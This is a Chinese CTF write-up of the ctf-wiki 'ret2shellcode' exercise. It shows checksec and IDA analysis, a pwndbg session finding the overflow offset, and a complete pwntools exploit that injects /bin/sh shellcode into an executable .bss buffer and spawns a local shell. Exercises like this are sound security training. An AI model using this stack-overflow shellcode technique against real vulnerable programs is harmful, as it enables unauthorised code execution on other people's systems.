pwn-ctfwiki-ret2shellcode
作者:互联网
题目来自ctfwiki,一个很好的ctf入门网站(本人也是萌新,希望与各位大神一起成长),题目链接https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
1.首先使用checksec工具查看一下架构
root@moli-virtual-machine:~/文档# checksec ret2shellcode
[*] '/root/\xe6\x96\x87\xe6\xa1\xa3/ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
2.使用32位IDA打开,F5查看一下源代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}
可以看到使用了strncpy将s中的内容复制到了buf2中,双击buf2,buf2在.bss段中
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends
.bss:0804A080
3.使用pwntools工具简单调试一下,使用vmmap工具看看该bss段是否有执行权限。
wndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /root/文档/ret2shellcode
0x8049000 0x804a000 r-xp 1000 0 /root/文档/ret2shellcode
0x804a000 0x804b000 rwxp 1000 1000 /root/文档/ret2shellcode
0xf7ddc000 0xf7fb1000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb1000 0xf7fb2000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb2000 0xf7fb4000 r-xp 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb4000 0xf7fb5000 rwxp 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb5000 0xf7fb8000 rwxp 3000 0
0xf7fd0000 0xf7fd2000 rwxp 2000 0
0xf7fd2000 0xf7fd5000 r--p 3000 0 [vvar]
0xf7fd5000 0xf7fd6000 r-xp 1000 0 [vdso]
0xf7fd5000 0xf7ffe000 rwxp 29000 0 <explored>
0xf7fd6000 0xf7ffc000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
pwndbg>
通过上面第三条可以看出,这个.bss段是具有可执行权限的。
那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。
4.查看汇编代码,可以看到程序是使用esp进行操作的,这时候偏移量就要通过gdb来寻找了
.text:08048593 call _gets
.text:08048598 mov dword ptr [esp+8], 64h ; n
.text:080485A0 lea eax, [esp+80h+s]
.text:080485A4 mov [esp+4], eax ; src
.text:080485A8 mov dword ptr [esp], offset buf2 ; dest
.text:080485AF call _strncpy
.text:080485B4 mov dword ptr [esp], offset format ; "bye bye ~"
.text:080485BB call _printf
.text:080485C0 mov eax, 0
.text:080485C5 leave
.text:080485C6 retn
.text:080485C6 ; } // starts at 804852D
我们让程序在gets函数这停下来
pwndbg> b * 0x08048593
Breakpoint 1 at 0x8048593: file ret2shellcode.c, line 14.
然后使用cyclic函数直接生成随机数
pwndbg> cyclic 400
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
ni,将生成的随机数填入
pwndbg> ni
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
EBP 0xffffd0c8 ◂— 0x62616163 ('caab')
可以看到,ebp的位置出现了更换,使用cyclic -l算出偏移量
pwndbg> cyclic -l caab
108
由于程序是32位,算上一个ebp的保存值,偏移一共是108+4位
5.编写shellcode
这里仅使用集成好的就可以了from pwntools
(1)先设置目标机的参数
context(os='linux',arch='i386',log_level='debug')
- os设置系统为linux系统,在完成ctf题目时大多数的系统都是linux系统
- arch设置架构为i386,可以简单的认为64位的时候位amd64,32 位的时候是i386
- log_level设置日志输出的等级为debug,这句话在调试的时候一般都会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便。
(2)获取shellcode
1)获得执行system("/bin/sh")汇编代码所对应的机器码
asm(shellcraft.sh())
具体利用过程如下
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())
6.我们这里只是打本地,就不用设置目标机的参数了
exp如下
from pwn import *
io = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804A080
io.sendline(shellcode.ljust(112,'A')+p32(buf2_addr))
io.interactive()
执行之后的结果
[+] Starting local process './ret2shellcode': pid 3172
[*] Switching to interactive mode
No system for you this time !!!
bye bye ~$
标签:ctfwiki,text,bss,i386,ret2shellcode,linux,pwn,1000 来源: https://www.cnblogs.com/diaolan/p/14063886.html